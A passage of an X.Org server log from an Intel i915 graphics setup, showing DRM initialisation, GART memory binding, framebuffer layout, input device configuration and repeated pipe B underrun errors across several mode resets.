0xe0208400 - 0xe02087ff (0x400) MX[B]E [9] -1 0 0xe0204000 - 0xe0205fff (0x2000) MX[B]E [10] -1 0 0xe0200000 - 0xe0203fff (0x4000) MX[B]E [11] -1 0 0xe0207000 - 0xe02077ff (0x800) MX[B]E [12] -1 0 0xe0206000 - 0xe0206fff (0x1000) MX[B]E [13] -1 0 0xe0207800 - 0xe0207bff (0x400) MX[B]E [14] -1 0 0xe0100800 - 0xe0100bff (0x400) MX[B]E [15] -1 0 0xe0100c00 - 0xe0100fff (0x400) MX[B]E [16] -1 0 0xe0100000 - 0xe01007ff (0x800) MX[B]E [17] -1 0 0xe0080000 - 0xe00fffff (0x80000) MX[B](B) [18] -1 0 0xf0000000 - 0xf7ffffff (0x8000000) MX[B](B) [19] -1 0 0xe0000000 - 0xe007ffff (0x80000) MX[B](B) [20] -1 0 0xe8000000 - 0xefffffff (0x8000000) MX[B](B) [21] 1 0 0x000a0000 - 0x000affff (0x10000) MS[B](OprD) [22] 1 0 0x000b0000 - 0x000b7fff (0x8000) MS[B](OprD) [23] 1 0 0x000b8000 - 0x000bffff (0x8000) MS[B](OprD) [24] 1 0 0x00001800 - 0x00001807 (0x8) IS[B] [25] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [26] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] [27] -1 0 0x00003000 - 0x000030ff (0x100) IX[B]E [28] -1 0 0x00002000 - 0x000020ff (0x100) IX[B]E [29] -1 0 0x00002400 - 0x000024ff (0x100) IX[B]E [30] -1 0 0x000018c0 - 0x000018ff (0x40) IX[B]E [31] -1 0 0x00001c00 - 0x00001cff (0x100) IX[B]E [32] -1 0 0x00001880 - 0x000018bf (0x40) IX[B]E [33] -1 0 0x00001810 - 0x0000181f (0x10) IX[B]E [34] -1 0 0x00001860 - 0x0000187f (0x20) IX[B]E [35] -1 0 0x00001840 - 0x0000185f (0x20) IX[B]E [36] -1 0 0x00001820 - 0x0000183f (0x20) IX[B]E [37] -1 0 0x00001800 - 0x00001807 (0x8) IX[B](B) [38] 1 0 0x000003b0 - 0x000003bb (0xc) IS[B](OprU) [39] 1 0 0x000003c0 - 0x000003df (0x20) IS[B](OprU) (II) intel(0): Kernel reported 241152 total, 0 used (II) intel(0): I830CheckAvailableMemory: 964608 kB available drmOpenDevice: node name is /dev/dri/card0 drmOpenDevice: open result is -1, (No such file or directory) drmOpenDevice: open result is -1, (No such file or directory) drmOpenDevice: Open failed drmOpenDevice: node name is /dev/dri/card0 drmOpenDevice: open result is -1, (No such file or directory) drmOpenDevice: open result is -1, (No such file or directory) drmOpenDevice: Open failed drmOpenByBusid: Searching for BusID pci:0000:00:02.0 drmOpenDevice: node name is /dev/dri/card0 drmOpenDevice: open result is 7, (OK) drmOpenByBusid: drmOpenMinor returns 7 drmOpenByBusid: drmGetBusid reports pci:0000:00:02.0 (II) [drm] loaded kernel module for "i915" driver. (II) [drm] DRM interface version 1.2 (II) [drm] DRM open master succeeded. (II) intel(0): [drm] Using the DRM lock SAREA also for drawables. (II) intel(0): [drm] framebuffer mapped by ddx driver (II) intel(0): [drm] added 1 reserved context for kernel (II) intel(0): X context handle = 0x1 (II) intel(0): [drm] installed DRM signal handler (**) intel(0): Framebuffer compression enabled (**) intel(0): Tiling enabled (==) intel(0): Write-combining range (0xe0000000,0x80000) was already clear (==) intel(0): VideoRam: 131072 KB (II) intel(0): Attempting memory allocation with tiled buffers. (WW) intel(0): xf86AllocateGARTMemory: allocation of 10 pages failed (Cannot allocate memory) (WW) intel(0): xf86AllocateGARTMemory: allocation of 4 pages failed (Cannot allocate memory) (WW) intel(0): Disabling HW cursor because the cursor memory allocation failed. (II) intel(0): Tiled allocation successful. (--) intel(0): DRI is disabled because it needs HW cursor, 2D accel and AGPGART. (II) intel(0): adjusting plane->pipe mappings to allow for framebuffer compression (II) intel(0): Page Flipping disabled (==) intel(0): Write-combining range (0xe0000000,0x80000) was already clear (==) intel(0): Write-combining range (0xe8000000,0x8000000) was already set (II) intel(0): vgaHWGetIOBase: hwp->IOBase is 0x03d0, hwp->PIOOffset is 0x0000 (==) intel(0): Write-combining range (0xa0000,0x10000) was already clear (II) EXA(0): Offscreen pixmap area of 31457280 bytes (II) EXA(0): Driver registered support for the following operations: (II) Solid (II) Copy (II) Composite (RENDER acceleration) (==) intel(0): Backing store disabled (==) intel(0): Silken mouse enabled (II) intel(0): Initializing SW Cursor! (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now enabled and connected to pipe A. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (WW) intel(0): Hardware claims plane A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (II) intel(0): RandR 1.2 enabled, ignore the following RandR disabled message. (II) intel(0): Set up overlay video (II) intel(0): direct rendering: Failed (--) RandR disabled (II) Initializing built-in extension MIT-SHM (II) Initializing built-in extension XInputExtension (II) Initializing built-in extension XTEST (II) Initializing built-in extension XKEYBOARD (II) Initializing built-in extension XC-APPGROUP (II) Initializing built-in extension XAccessControlExtension (II) Initializing built-in extension SECURITY (II) Initializing built-in extension XINERAMA (II) Initializing built-in extension XFIXES (II) Initializing built-in extension XFree86-Bigfont (II) Initializing built-in extension RENDER (II) Initializing built-in extension RANDR (II) Initializing built-in extension COMPOSITE (II) Initializing built-in extension DAMAGE (II) Initializing built-in extension XEVIE (II) Loading sub module "GLcore" (II) LoadModule: "GLcore" (II) Loading /usr/local/lib/xorg/modules/extensions//libGLcore.so (II) Module GLcore: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Server Extension, version 0.3 (II) GLX: Initialized MESA-PROXY GL provider for screen 0 (II) intel(0): Setting screen physical size to 305 x 183 (WW) : No Device specified, looking for one... (II) : Setting Device option to "/dev/sysmouse" (--) : Device: "/dev/sysmouse" (==) : Protocol: "Auto" (**) Option "CorePointer" (**) : always reports core events (==) : Emulate3Buttons, Emulate3Timeout: 50 (**) : ZAxisMapping: buttons 4 and 5 (**) : Buttons: 9 (**) : Sensitivity: 1 (**) Option "CoreKeyboard" (**) : always reports core events (**) Option "Protocol" "standard" (**) : Protocol: standard (**) Option "AutoRepeat" "500 30" (**) Option "XkbRules" "xorg" (**) : XkbRules: "xorg" (**) Option "XkbModel" "pc105" (**) : XkbModel: "pc105" (**) Option "XkbLayout" "us" (**) : XkbLayout: "us" (**) Option "CustomKeycodes" "off" (**) : CustomKeycodes disabled (II) evaluating device () (II) XINPUT: Adding extended input device "" (type: KEYBOARD) (II) evaluating device () (II) XINPUT: Adding extended input device "" (type: MOUSE) (II) : SetupAuto: hw.iftype is 4, hw.model is 0 (II) : SetupAuto: protocol is SysMouse (EE) intel(0): underrun on pipe B! (EE) intel(0): tried to update DSPARB with both planes enabled! (II) intel(0): I2C device "LVDSDDC_C:ddc2" registered at address 0xA0. (II) intel(0): EDID vendor "AUO", prod id 4915 (II) intel(0): Printing DDC gathered Modelines: (II) intel(0): Modeline "1280x768"x0.0 71.10 1280 1296 1408 1440 768 769 772 823 -hsync -vsync (49.4 kHz) (II) intel(0): EDID vendor "AUO", prod id 4915 (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (**) Option "BaudRate" "1200" (**) Option "StopBits" "2" (**) Option "DataBits" "8" (**) Option "Parity" "None" (**) Option "Vmin" "1" (**) Option "Vtime" "0" (**) Option "FlowControl" "None" (EE) intel(0): underrun on pipe B! (II) intel(0): EDID vendor "AUO", prod id 4915 (II) intel(0): Printing DDC gathered Modelines: (II) intel(0): Modeline "1280x768"x0.0 71.10 1280 1296 1408 1440 768 769 772 823 -hsync -vsync (49.4 kHz) (II) intel(0): EDID vendor "AUO", prod id 4915 (EE) intel(0): underrun on pipe B! (EE) intel(0): tried to update DSPARB with both planes enabled! (II) intel(0): EDID vendor "AUO", prod id 4915 (II) intel(0): Printing DDC gathered Modelines: (II) intel(0): Modeline "1280x768"x0.0 71.10 1280 1296 1408 1440 768 769 772 823 -hsync -vsync (49.4 kHz) (II) intel(0): EDID vendor "AUO", prod id 4915 (EE) intel(0): tried to update DSPARB with both planes enabled! (II) intel(0): EDID vendor "AUO", prod id 4915 (II) intel(0): Printing DDC gathered Modelines: (II) intel(0): Modeline "1280x768"x0.0 71.10 1280 1296 1408 1440 768 769 772 823 -hsync -vsync (49.4 kHz) (II) intel(0): EDID vendor "AUO", prod id 4915 (EE) intel(0): tried to update DSPARB with both planes enabled! (II) intel(0): EDID vendor "AUO", prod id 4915 (II) intel(0): Printing DDC gathered Modelines: (II) intel(0): Modeline "1280x768"x0.0 71.10 1280 1296 1408 1440 768 769 772 823 -hsync -vsync (49.4 kHz) (II) intel(0): EDID vendor "AUO", prod id 4915 (EE) intel(0): tried to update DSPARB with both planes enabled! (II) intel(0): EDID vendor "AUO", prod id 4915 (II) intel(0): Printing DDC gathered Modelines: (II) intel(0): Modeline "1280x768"x0.0 71.10 1280 1296 1408 1440 768 769 772 823 -hsync -vsync (49.4 kHz) (II) intel(0): EDID vendor "AUO", prod id 4915 (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 [config/hal] couldn't initialise context: (null) ((null)) (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled 